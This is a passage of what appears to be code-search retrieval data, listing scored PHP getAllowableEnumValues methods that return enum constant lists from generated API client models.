self::ALPHA,\n self::_PRIVATE,\n self::DEMO\n ];\n }", "title": "" }, { "docid": "cf0f1001c9d395ac23ed1e906431141a", "score": "0.8397693", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::CONSULT_HELP_DOCUMENTS,\nself::NO_ADDITIONAL_PREP_REQUIRED,\nself::SEE_PREP_INSTRUCTIONS_LIST, ];\n }", "title": "" }, { "docid": "61001a930e4cbcd37529bc3084cd7cd8", "score": "0.8380378", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::FIRST,\n self::SECOND,\n self::THIRD,\n self::NONE,\n self::UNKNOW,\n self::CORE,\n self::IMPORTANT,\n self::OTHER,\n ];\n }", "title": "" }, { "docid": "01f7a75b528b1a4d9c0e19eaf4f4a25a", "score": "0.83800787", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::GREENHOUSE,\n self::GROUND,\n self::FRUIT_GROWING,\n self::MUSHROOM_CULTIVATION,\n self::TREE_NURSERY,\n self::FLOWER_BULBS,\n self::GREENHOUSE_HORTICULTURE,\n ];\n }", "title": "" }, { "docid": "4b89d7bb412fa46e6110c472531a5c76", "score": "0.8377282", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::NONE,\nself::OPTIONAL,\nself::REQUIRED, ];\n }", "title": "" }, { "docid": "7b10b63323a5f7281c22f82cf69ae463", "score": "0.83765006", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::PREMISES,\n self::CATTLE_FARMING,\n self::LISTING,\n self::MEAT_CALVES,\n self::HORTICULTURAL_COMPANY,\n self::PIG_FARM,\n self::POULTRY_FARM,\n self::OTHER,\n self::DAIRY_FARMING,\n self::LOOSE_SOIL,\n self::TILLAGE_FARM,\n self::HORSE_FARM,\n ];\n }", "title": "" }, { "docid": "e6cb3827671c580f6de04dd67ade26d1", "score": "0.83630276", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::_DEFAULT,\n self::PAGE_VIEW,\n self::PURCHASE,\n self::SIGNUP,\n self::LEAD,\n self::DOWNLOAD,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "b092112a49537ce0f5e9be52c69a9d30", "score": "0.83253276", "text": "public static function getAllowableEnumValues() : array\n {\n return [\n self::SCHEDULED_CAPACITY,\n self::AVAILABLE_CAPACITY,\n self::ENCUMBERED_CAPACITY,\n self::RESERVED_CAPACITY,\n ];\n }", "title": "" }, { "docid": "5aa7ff5495674ade96afa11b0b7f4e6e", "score": "0.83198893", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::EMPTY,\nself::BARION,\nself::SIMPLE_PAY,\nself::NO, ];\n }", "title": "" }, { "docid": "eb7099347f95178c92305b1c62696d67", "score": "0.831545", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::APPROVED,\n self::APPROVED_WITH_REVIEW,\n self::REVIEW,\n self::PRE_DISAPPROVED,\n self::POST_DISAPPROVED,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "7bc8ab33605ccf920c57df9af4b7acfd", "score": "0.83135295", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DOUBLE_GOAL_BID,\n self::TWO_STAGE_BID,\n ];\n }", "title": "" }, { "docid": "865e9a79c6b44e2dcf6c97d48c139cce", "score": "0.8313255", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::ACTIVE,\n self::PENDING,\n self::ERROR,\n self::DELETING,\n ];\n }", "title": "" }, { "docid": "0e9ada0b5e8dbc684c1f1cb7484acee6", "score": "0.831263", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::_101,\n self::_102,\n self::_201,\n self::_202,\n self::_203,\n self::_204,\n self::_205,\n self::_206,\n self::_301,\n self::_302,\n self::_304,\n self::_306,\n self::_307,\n self::_308,\n self::_309,\n self::_401,\n self::_402,\n self::_403,\n self::_404,\n self::_405,\n self::_406,\n self::_407,\n self::_408,\n self::_409,\n self::_411,\n self::_412,\n self::_413,\n self::_414,\n self::_415,\n self::_416,\n self::_417,\n self::_418,\n self::_419,\n ];\n }", "title": "" }, { "docid": "a394d1e717f90ec547749a26440e6bbb", "score": "0.8310286", "text": "public static function getAllowableEnumValues()\n {\n $baseVals = [\n self::_NEW,\n self::RECEIVED,\n self::PLANNING,\n self::PROCESSING,\n self::CANCELLED,\n self::COMPLETE,\n self::COMPLETE_PARTIALLED,\n self::UNFULFILLABLE,\n self::INVALID,\n ];\n // This is necessary because Amazon does not consistently capitalize their\n // enum values, so we do case-insensitive enum value validation in ObjectSerializer\n $ucVals = array_map(function ($val) { return strtoupper($val); }, $baseVals);\n return array_merge($baseVals, $ucVals);\n }", "title": "" }, { "docid": "0ad080369c0d5d92794829351407042c", "score": "0.83050513", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::UNKNOWN,\n self::_DEFAULT,\n self::URL,\n self::SLIDE_UP,\n self::WEB_STORE,\n self::RESERVE_LIVE,\n self::CHOOSE,\n ];\n }", "title": "" }, { "docid": "2f8e5666d80105f783932fa288d3faad", "score": "0.8293529", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::UPSTAIRS_APARTMENT,\n self::GROUND_FLOOR_APARTMENT,\n self::MAISONETTE,\n self::GALLERY_FLAT,\n self::PORTICO_FLAT,\n self::UPSTAIRS_GROUND_FLOOR_APARTMENT,\n self::PENTHOUSE,\n self::PORCH_APARTMENT,\n self::STUDENT_ROOM,\n self::DOUBLE_GROUND_FLOOR_APARTMENT,\n self::MEZZANINE,\n self::MODERN_APARTMENT,\n self::SOVIET_STYLE_APARTMENT,\n self::ITALIAN_YARD_APARTMENT,\n ];\n }", "title": "" }, { "docid": "6e6462801758ef3a1028a1d43415fc53", "score": "0.8282959", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::BACK_OFFICE,\n self::CONNECTOR,\n self::SUPPORT,\n self::MEMBER,\n self::SEARCH_PROFILE,\n self::CONTACT_ME,\n self::BOOK_A_VISIT,\n self::DOWNLOAD_BROCHURE,\n self::OFFER_LISTING,\n self::FAILED_PUBLICATION,\n self::SUCCESSFUL_PUBLICATION,\n self::MEMBER_DELETED,\n self::PERSONAL,\n self::COMPANY,\n self::CONTACT_FORM,\n ];\n }", "title": "" }, { "docid": "c22deb0c8192ad2148af6aca8ba2884b", "score": "0.82702786", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::AGENCY_CHARGE,\n self::AGENCY_TRANSFER_TO_ADVERTISER,\n self::AGENCY_REFUND_FROM_ADVERTISER,\n self::AGENCY_CREDIT_REPAY,\n self::AGENCY_REFUND,\n self::ADVERTISER_CHARGE,\n self::ADVERTISER_TRANSFER,\n ];\n }", "title": "" }, { "docid": "cb2a122e4163278589313de814613d1a", "score": "0.8264766", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DOWNLOAD,\n self::IN_APP_PURCHASE,\n self::FIRST_OPEN,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "be0b80b5014d9212c7587680af2fb815", "score": "0.82608396", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DUTCH,\n self::ENGLISH,\n self::GEORGIAN,\n self::GERMAN,\n self::FRENCH,\n self::SPANISH,\n self::ITALIAN,\n self::CROATIAN,\n self::RUSSIAN,\n self::ESTONIAN,\n self::FINNISH,\n self::POLISH,\n self::TURKISH,\n self::SWEDISH,\n ];\n }", "title": "" }, { "docid": "50df5889d5a9b8183e1cc8e3a54ae5a2", "score": "0.82557946", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::MINUTE,\n self::HOUR,\n self::DAY,\n self::WEEK,\n self::MONTH,\n ];\n }", "title": "" }, { "docid": "a17fcf1f88f9401525bf09f679e9ebde", "score": "0.8246785", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::OAUTH2,\n self::API_KEY,\n self::BASIC,\n self::CUSTOM,\n self::NONE\n ];\n }", "title": "" }, { "docid": "97260e63bf9ad2d3ca55a93b82436b1d", "score": "0.82316524", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::OK,\n self::GET_PAGE_IMAGES_COUNT,\n self::MRC_POST_OPERATIONS_FAILURE,\n self::PAGE_CONVERSION_FAILURE,\n self::DOCUMENT_ENCRYPTED,\n self::UNEXPECTED_ERROR,\n ];\n }", "title": "" }, { "docid": "091d7cb4c02b682dc8ddd9f40bda3f1b", "score": "0.82312304", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::RUNNING,\n self::FINISH,\n self::IN_REVIEW,\n self::FINISH_REVIEW,\n self::IN_COMPENSE,\n self::FINISH_COMPENSE,\n self::STOPPING,\n ];\n }", "title": "" }, { "docid": "9729cd4ec10f078d31f18b2ad818d09c", "score": "0.82307917", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DESTINY_OBJECTIVE_GRANT_STYLE_WHENINCOMPLETE,\n self::DESTINY_OBJECTIVE_GRANT_STYLE_WHENCOMPLETE,\n self::DESTINY_OBJECTIVE_GRANT_STYLE_ALWAYS,\n ];\n }", "title": "" }, { "docid": "e6fb5f0042149ced71103a9877618c12", "score": "0.822287", "text": "#[\\ReturnTypeWillChange]\n public static function getAllowableEnumValues()\n {\n return [\n self::METADATA,\n self::FIELDS,\n self::PRODUCTS,\n self::TOKENS,\n self::PRICING\n ];\n }", "title": "" }, { "docid": "39afb99b6b0c1d2e918e80ed6c9065d3", "score": "0.8212358", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::NONE,\n self::PENDING,\n self::FINISHED,\n ];\n }", "title": "" }, { "docid": "8cec37af392bd78a858226cd7db95c8b", "score": "0.8187836", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::ACK,\n self::DELIVRD,\n self::UNDELIV,\n self::FAILED,\n self::UNKNOWN,\n self::ACCEPTD,\n self::REJECTD,\n self::DELETED,\n self::EXPIRED,\n self::NACK,\n self::SEEN\n ];\n }", "title": "" }, { "docid": "703adaf6c9d50862c274993378c06db7", "score": "0.81822366", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::KEYWORD,\n self::KEYWORD_ID,\n self::DESKTOP_SEARCH_VOLUME,\n self::SMART_PHONE_SEARCH_VOLUME,\n self::TABLET_SEARCH_VOLUME,\n self::RELEASE_DATE,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "03be58cf4cd116556bab85a56ecad16b", "score": "0.8166876", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DETACHED,\n self::SEMI_DETACHED,\n self::ENCLOSED_MID_TERRACE,\n self::ENCLOSED_END_TERRACE,\n self::END_TERRACE,\n self::MID_TERRACE,\n ];\n }", "title": "" }, { "docid": "2b97c676f7c610edcb9039415145bdd8", "score": "0.81661546", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::PROJECT_OVERVIEW,\n self::COST_OVERVIEW,\n self::WORK_OVERVIEW,\n self::RESOURCE_OVERVIEW,\n self::RESOURCE_COST_OVERVIEW,\n self::CRITICAL_TASKS,\n self::LATE_TASKS,\n self::MILESTONES,\n self::UPCOMING_TASK,\n self::COST_OVERRUNS,\n self::TASK_COST_OVERVIEW,\n self::OVERALLOCATED_RESOURCES,\n self::SLIPPING_TASKS,\n self::BEST_PRACTICE_ANALYZER,\n self::BURNDOWN,\n self::CASH_FLOW,\n ];\n }", "title": "" }, { "docid": "117bda9d0098ebea322a3ebab7b8fea0", "score": "0.81602436", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::NO_STATUS,\nself::RENDERED,\nself::INSTALLED_APPLE,\nself::INSTALLED_GOOGLE,\nself::INSTALLED_ANDROID_OTHER,\nself::UNINSTALLED_APPLE,\nself::UNINSTALLED_GOOGLE,\nself::UNINSTALLED_ANDROID_OTHER,\nself::APPLE_PASS_CREATED,\nself::GOOGLE_PAY_RECORD_CREATED,\nself::INVALIDATE_REQUESTED,\nself::INVALIDATE_CONFIRMED, ];\n }", "title": "" }, { "docid": "0b045a33713a76c22166abd4571059fc", "score": "0.8155694", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::_NEW,\nself::RECEIVED,\nself::PLANNING,\nself::PROCESSING,\nself::CANCELLED,\nself::COMPLETE,\nself::COMPLETE_PARTIALLED,\nself::UNFULFILLABLE,\nself::INVALID, ];\n }", "title": "" }, { "docid": "00e0b62dd6e104e3199a95922a69e240", "score": "0.8133551", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::EXPIRY_DO_NOT_USE,\nself::AUTO_EXPIRE_OFFER_END_DATE,\nself::AUTO_EXPIRE_REDEMPTION_END_DATE,\nself::EXPIRE_AFTER_X_DAYS,\nself::EXPIRE_ON_VARIABLE_DATE_TIME, ];\n }", "title": "" }, { "docid": "0a462dd46d2220248142c133363041ce", "score": "0.8133249", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::MILLISECOND,\n self::SECOND,\n self::MINUTE,\n self::HOUR,\n self::DAY,\n self::WEEK,\n self::MONTH,\n self::QUARTER,\n self::YEAR,\n ];\n }", "title": "" }, { "docid": "4164cbc337b85027af9a87e7c7cae0e3", "score": "0.81243116", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::QUEUED,\n self::SENT,\n self::PROCESSING,\n self::ABANDONED\n ];\n }", "title": "" }, { "docid": "bd7936c2ea77844c62dcfa24cc7085b8", "score": "0.8122736", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::UPDATE_ON,\n self::UPDATE_PREREQUISITES,\n self::UPDATE_TARGETS,\n self::UPDATE_RULES,\n self::UPDATE_FALLTHROUGH,\n self::UPDATE_OFF_VARIATION,\n ];\n }", "title": "" }, { "docid": "9d6383d5457245c6849eeb17f2388508", "score": "0.81138366", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::US_EAST_1,\n self::US_EAST_2,\n self::US_WEST_1,\n self::US_WEST_2,\n self::AF_SOUTH_1,\n self::AP_EAST_1,\n self::AP_SOUTH_1,\n self::AP_NORTHEAST_3,\n self::AP_NORTHEAST_2,\n self::AP_SOUTHEAST_1,\n self::AP_SOUTHEAST_2,\n self::AP_NORTHEAST_1,\n self::CA_CENTRAL_1,\n self::CN_NORTH_1,\n self::CN_NORTHWEST_1,\n self::EU_CENTRAL_1,\n self::EU_WEST_1,\n self::EU_WEST_2,\n self::EU_SOUTH_1,\n self::EU_WEST_3,\n self::EU_NORTH_1,\n self::ME_SOUTH_1,\n self::SA_EAST_1\n ];\n }", "title": "" }, { "docid": "ba117a54e1a86743157143020e3ee72e", "score": "0.80988574", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::NONE,\n self::PENDING,\n self::ACCEPTED,\n self::FAILED,\n self::REJECTED,\n self::CANCELED,\n self::PARTIAL_CANCELED,\n self::CANCEL_PENDING,\n self::EXECUTED,\n self::PARTIAL,\n self::REPLACE_PENDING,\n self::REPLACED,\n self::STOPPED,\n self::SUSPENDED,\n self::EXPIRED,\n self::QUEUED,\n self::TRIGGERED,\n self::ACTIVATED,\n self::PENDING_RISK_REVIEW,\n self::CONTINGENT_ORDER\n ];\n }", "title": "" }, { "docid": "c4fcde2f6b0e1bc968401ea077256968", "score": "0.8094434", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::TCP,\n self::UDP,\n ];\n }", "title": "" }, { "docid": "aa994e07f779abfb9cd101c760c467e4", "score": "0.8089797", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::QUEUED,\n self::RINGING,\n self::IN_PROGRESS,\n self::CANCELED,\n self::COMPLETED,\n self::FAILED,\n self::BUSY,\n self::NO_ANSWER\n ];\n }", "title": "" }, { "docid": "07f207390d12cab53c82a07a88813fe4", "score": "0.8081629", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::AUDIENCE_TYPE_UNKNOWN,\n self::AUDIENCE_TYPE_META,\n self::AUDIENCE_TYPE_COMBINE,\n self::AUDIENCE_TYPE_LOOKALIKE,\n self::AUDIENCE_TYPE_PACKAGE,\n self::CUSTOMER_FILE,\n self::LOOKALIKE,\n self::USER_ACTION,\n self::LBS,\n self::KEYWORD,\n self::AD,\n self::COMBINE,\n self::LABEL,\n ];\n }", "title": "" }, { "docid": "0dba13db05663f4736f54115df2de0ea", "score": "0.8067168", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::CHOOSE_METHOD,\n self::SENT_EMAIL,\n self::PASSED_CHALLENGE,\n ];\n }", "title": "" }, { "docid": "da6909a3437ffc0dd82047be477932b2", "score": "0.8064668", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::CHOOSE_METHOD,\n self::SENT_EMAIL,\n self::PASSED_CHALLENGE\n ];\n }", "title": "" }, { "docid": "6ce043442e36c882129472e374555085", "score": "0.8024464", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_NONE,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_STATS,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_SHIELDS,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_HEALTH,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_REVIVE,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_AIMUNDERFIRE,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_RADAR,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_INVISIBILITY,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_REPUTATIONS,\n self::DESTINY_TALENT_NODE_STEP_GUARDIAN_ATTRIBUTES_ALL,\n ];\n }", "title": "" }, { "docid": "1144cd3c102b5673bc7bdd0a9dfa8a8c", "score": "0.8023035", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::AD_SCHEDULE_TARGET,\n self::GEO_TARGET,\n self::AGE_TARGET,\n self::GENDER_TARGET,\n self::INTEREST_CATEGORY,\n self::SITE_CATEGORY,\n self::SITE_RETARGETING,\n self::SEARCH_TARGET,\n self::PLACEMENT_TARGET,\n self::DEVICE_TARGET,\n self::CARRIER_TARGET,\n self::AUDIENCE_CATEGORY,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "3c90eb228f1d0ed9a8d4105342d5a382", "score": "0.8015794", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::NO_ATTRIBUTES,\nself::IOS,\nself::ANDROID,\nself::SUPPORT_WALLET,\nself::WALLET_SCANNER,\nself::WALLET_DAEMON,\nself::WALLET_PASSES,\nself::WINDOWS,\nself::OSX,\nself::LINUX,\nself::MOBILE,\nself::DESKTOP,\nself::TABLET,\nself::UNSUPPORTED_IOS, ];\n }", "title": "" }, { "docid": "e85b9b9871cf1864c028bc63c166871a", "score": "0.80145526", "text": "public static function getAllowableEnumValues() : array\n {\n return [\n self::DARK,\n self::LIGHT,\n ];\n }", "title": "" }, { "docid": "54631cdc0d588fea042c4a70135a255c", "score": "0.8008699", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::UTF8,\n self::SJIS,\n self::EUC,\n self::UTF16_LE,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "34e8abdf90115ac46ce9c1260f57dcbc", "score": "0.80045855", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::HORIZONTAL_VERTICAL,\n self::VERTICAL,\n self::HORIZONTAL,\n ];\n }", "title": "" }, { "docid": "80a679455048a4c598c6028add152f91", "score": "0.7989217", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::BAD_REQUEST,\n self::UNAUTHENTICATED,\n self::UNAUTHORIZED,\n self::NOT_FOUND,\n self::GATEWAY_DECLINED,\n self::ENDPOINT_DECLINED,\n self::SERVER_ERROR,\n self::ENDPOINT_COMMUNICATION_ERROR,\n self::UNSUPPORTED_MEDIA_TYPE,\n ];\n }", "title": "" }, { "docid": "4628b4e11324c7e139741d2226b3cf69", "score": "0.7976097", "text": "#[\\ReturnTypeWillChange]\n public static function getAllowableEnumValues()\n {\n return [\n self::DRAFT,\n self::SENT,\n self::COMPLETED,\n self::UPLOADED,\n self::ERROR,\n self::VIEWED,\n self::WAITING_APPROVAL,\n self::APPROVED,\n self::REJECTED,\n self::WAITING_PAY,\n self::PAID,\n self::VOIDED,\n self::DECLINED,\n self::EXTERNAL_REVIEW\n ];\n }", "title": "" }, { "docid": "153a12397ad82474541cf35b40fe5fb9", "score": "0.79514", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::UTF_8,\n self::SJIS,\n self::EUC,\n self::UTF16_LE,\n self::UNKNOWN,\n ];\n }", "title": "" }, { "docid": "ab264f124949cbe3c604fac685bd2b7a", "score": "0.79377717", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::DESTINY_RECORD_STATE_NONE,\n self::DESTINY_RECORD_STATE_RECORDREDEEMED,\n self::DESTINY_RECORD_STATE_REWARDUNAVAILABLE,\n self::DESTINY_RECORD_STATE_OBJECTIVENOTCOMPLETED,\n self::DESTINY_RECORD_STATE_OBSCURED,\n self::DESTINY_RECORD_STATE_INVISIBLE,\n self::DESTINY_RECORD_STATE_ENTITLEMENTUNOWNED,\n self::DESTINY_RECORD_STATE_CANEQUIPTITLE,\n ];\n }", "title": "" }, { "docid": "2a0a2eb13a0428388ef163e22cacb2c1", "score": "0.7910926", "text": "public static function getAllowableEnumValues() : array\n {\n return [\n self::MONDAY,\n self::TUESDAY,\n self::WEDNESDAY,\n self::THURSDAY,\n self::FRIDAY,\n self::SATURDAY,\n self::SUNDAY,\n ];\n }", "title": "" }, { "docid": "f351a448a8fa53f50ae2447ca248e684", "score": "0.79097325", "text": "public function getValidValues()\n {\n return $this->enumList;\n }", "title": "" }, { "docid": "c8c3a91c8dc0520c6a12e77276abf73f", "score": "0.78982234", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_NONE,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_PLAINTEXT,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_HTML,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_DROPDOWN,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_LIST,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_JSON,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_CONTENT,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_REPRESENTATION,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_SET,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_FILE,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_FOLDERSET,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_DATE,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_MULTILINEPLAINTEXT,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_DESTINYCONTENT,\n self::CONTENT_PROPERTY_DATA_TYPE_ENUM_COLOR,\n ];\n }", "title": "" }, { "docid": "8117457e6406300188a5a234d991fe96", "score": "0.7884107", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::PLUG_AVAILABILITY_MODE_NORMAL,\n self::PLUG_AVAILABILITY_MODE_UNAVAILABLEIFSOCKETCONTAINSMATCHINGPLUGCATEGORY,\n self::PLUG_AVAILABILITY_MODE_AVAILABLEIFSOCKETCONTAINSMATCHINGPLUGCATEGORY,\n ];\n }", "title": "" }, { "docid": "3f329664556b55f2b710a15ed9d48039", "score": "0.78638047", "text": "public function getStatusAllowableValues()\r\n {\r\n return [\r\n self::STATUS_FREEZED,\r\n self::STATUS_DOWN,\r\n self::STATUS_ACTIVE,\r\n self::STATUS_ERROR,\r\n ];\r\n }", "title": "" }, { "docid": "a169698a252c0fc8a201d3f4f5d9e1dc", "score": "0.7828164", "text": "public function getStateAllowableValues()\n {\n return [\n self::STATE_AC,\n self::STATE_AL,\n self::STATE_AP,\n self::STATE_AM,\n self::STATE_BA,\n self::STATE_CE,\n self::STATE_DF,\n self::STATE_ES,\n self::STATE_GO,\n self::STATE_MA,\n self::STATE_MT,\n self::STATE_MS,\n self::STATE_MG,\n self::STATE_PA,\n self::STATE_PB,\n self::STATE_PR,\n self::STATE_PE,\n self::STATE_PI,\n self::STATE_RJ,\n self::STATE_RN,\n self::STATE_RS,\n self::STATE_RO,\n self::STATE_RR,\n self::STATE_SC,\n self::STATE_SP,\n self::STATE_SE,\n self::STATE_TO,\n ];\n }", "title": "" }, { "docid": "21fe28e4d2c942e73f7819194dd66e41", "score": "0.7785099", "text": "public function getAllowedValues()\n {\n return $this->allowedValues;\n }", "title": "" }, { "docid": "0d57e5d92452af6b754e0453b7e3d2ff", "score": "0.77596766", "text": "public function getStatusAllowableValues()\r\n {\r\n return [\r\n self::STATUS_0,\r\n self::STATUS_1,\r\n self::STATUS_2,\r\n ];\r\n }", "title": "" }, { "docid": "ab1a9e4f82d5c9862bb6d0f738e720f5", "score": "0.77530074", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_UNKNOWN,\n self::STATUS_VALID,\n self::STATUS_MARK_AS_INVALID,\n ];\n }", "title": "" }, { "docid": "64c0e8c9cd54928a955499f410f21c03", "score": "0.77480394", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS_ON,\n self::STATUS_OFF,\n self::STATUS_INVALID,\n self::STATUS_UNKNOWN,\n ];\n }", "title": "" }, { "docid": "f0cb12bb15d1aac9b1c889d96a30b28a", "score": "0.7725889", "text": "public function getTypeAllowableValues()\n {\n return [\n self::TYPE_COUNT,\n self::TYPE_COUNT_UNIQUE,\n self::TYPE_SUM,\n self::TYPE_MINIMUM,\n self::TYPE_MAXIMUM,\n self::TYPE_AVERAGE,\n self::TYPE_APPROXIMATE_UNIQUE,\n ];\n }", "title": "" }, { "docid": "7aff5d9fee388ddd7496f9ed9a2064d0", "score": "0.7714979", "text": "public function getStatusAllowableValues()\n {\n return [\n self::STATUS__0,\n self::STATUS__1,\n ];\n }", "title": "" }, { "docid": "67133fe0fb80d1d79698bc6b4a82bb9c", "score": "0.77061963", "text": "public static function getAllowableEnumValues()\n {\n return [\n self::PERSONAL_ACCOUNT,\n self::DONATIONS_AND_GIFTS,\n self::THIRD_PARTY_PERSON_ACCOUNT,\n self::MORTGAGE_REPAYMENTS,\n self::BUSINESS_TRAVEL_PAYMENTS,\n self::PERSONAL_TRAVEL_PAYMENTS,\n self::TUITION_FEES,\n self::FINANCIAL_COMMISSION_FEES,\n self::FINANCIAL_SERVICES_PROCEEDS,\n self::INDIVIDUAL_PROPERTY_INVESTMENTS,\n self::OTHER_INVESTMENTS,\n self::CORPORATE_PROPERTY_INVESTMENTS,\n self::IMMIGRANTS_CAPITAL_PAYMENTS,\n self::LEGAL_SERVICES,\n self::ACCOUNTING_SERVICES,\n self::CONSULTING_SERVICES,\n self::PUBLIC_RELATION_SERVICES,\n self::ADS_AND_MARKET_RESEARCH_SERVICES,\n self::MANAGERIAL_SERVICES,\n self::MEDICAL_AND_DENTAL_SERVICES,\n self::EDUCATIONAL_SERVICES,\n self::OPERATIONAL_LEASING,\n self::CULTURAL_AND_RECREATIONAL_SERVICES,\n self::SALARY_RESIDENT_OUT_COUNTRY,\n self::SALARY_NON_RESIDENT_IN_COUNTRY,\n self::SALARY_CONTRACT_WORKER_IN_COUNTRY,\n self::SOCIAL_SECURITY_SCHEMES,\n self::CHARITIES_AND_RELIGIOUS_BODIES,\n self::DONATIONS_AND_AID_TO_GOVERNMENT,\n self::DONATIONS_AND_AID_TO_PRIVATE,\n self::PENSIONS,\n self::ANNUITIES,\n self::INHERITANCES,\n self::ALIMONY,\n self::TAX_INCOME,\n self::TAX_VAT_REFUNDS,\n self::TAX_OTHER,\n self::NON_LIFE_INSURANCE_PREMIUMS,\n self::LIFE_INSURANCE_PREMIUMS,\n self::DIVIDENDS,\n self::BRANCH_PROFITS,\n self::COMMISION_OR_BROKERAGE,\n self::RENTAL,\n self::INDIVIDUAL_INVESTMENT_INCOME_FROM_ABROAD,\n self::SHARES_SALE,\n self::BONDS_SALE,\n self::MONEY_MARKET_INSTRUMENTS_SALE,\n self::FUNDS_REPATRIATION_OF_FOREIGN_BANK_ACCOUNT,\n self::MUTUAL_FUNDS_SALE_OR_COLLECTIVE_INVESTMENT,\n self::OVERSEAS_PROPERTY_SALE,\n self::SALE_AND_REPATRIATION_OF_OTHER_INVESTMENT,\n self::REPATRIATION_SOUTH_AFRICAN_RESERVE_BANK_INSTRUCTION,\n self::RESIDENT_LOAN_FROM_NON_RESIDENT_SHARE_HOLDER,\n self::RESIDENT_LOAN_FROM_NON_RESIDENT_THIRD_PARTY,\n self::RESIDENT_LOAN_REPAYMENT_FROM_OVERSEAS_LIVING_SOUTH_AFRICAN,\n self::STUDY_LOAN_REPAYMENT,\n self::SHAREHOLDERS_LOAN_REPAYMENT,\n self::THIRD_PARTY_LOAN_REPAYMENT,\n self::TRADE_FINANCE_LOAN_REPAYMENT,\n self::RESEARCH_AND_DEVELOPMENT_PROCEEDS,\n self::RESEARCH_AND_DEVELOPMENT_FUNDING,\n self::MACHINARY_AND_EQUIPMENT_REPAIRS,\n self::ARCHITECTURAL_ENGINEERING_TECHNICAL_SERVICES,\n self::AGRIGULTURAL_MINING_WASTE_DEPOLLUTION_SERVICES,\n self::CONSTRUCTION_SERVICES,\n self::TELECOMMUNICATION_SERVICES,\n self::DATA_NEWS_AGENCY_FEES,\n self::ROAD_PASSENGER_SERVICES,\n self::RAIL_PASSENGER_SERVICES,\n self::SEA_PASSENGER_SERVICES,\n self::AIR_PASSENGER_SERVICES,\n self::ROAD_FREIGHT_SERVICES,\n self::RAIL_FREIGHT_SERVICES,\n self::SEA_FREIGHT_SERVICES,\n self::AIR_FREIGHT_SERVICES,\n self::ROAD_POSTAL_AND_COURIER_SERVICES,\n self::RAIL_POSTAL_AND_COURIER_SERVICES,\n 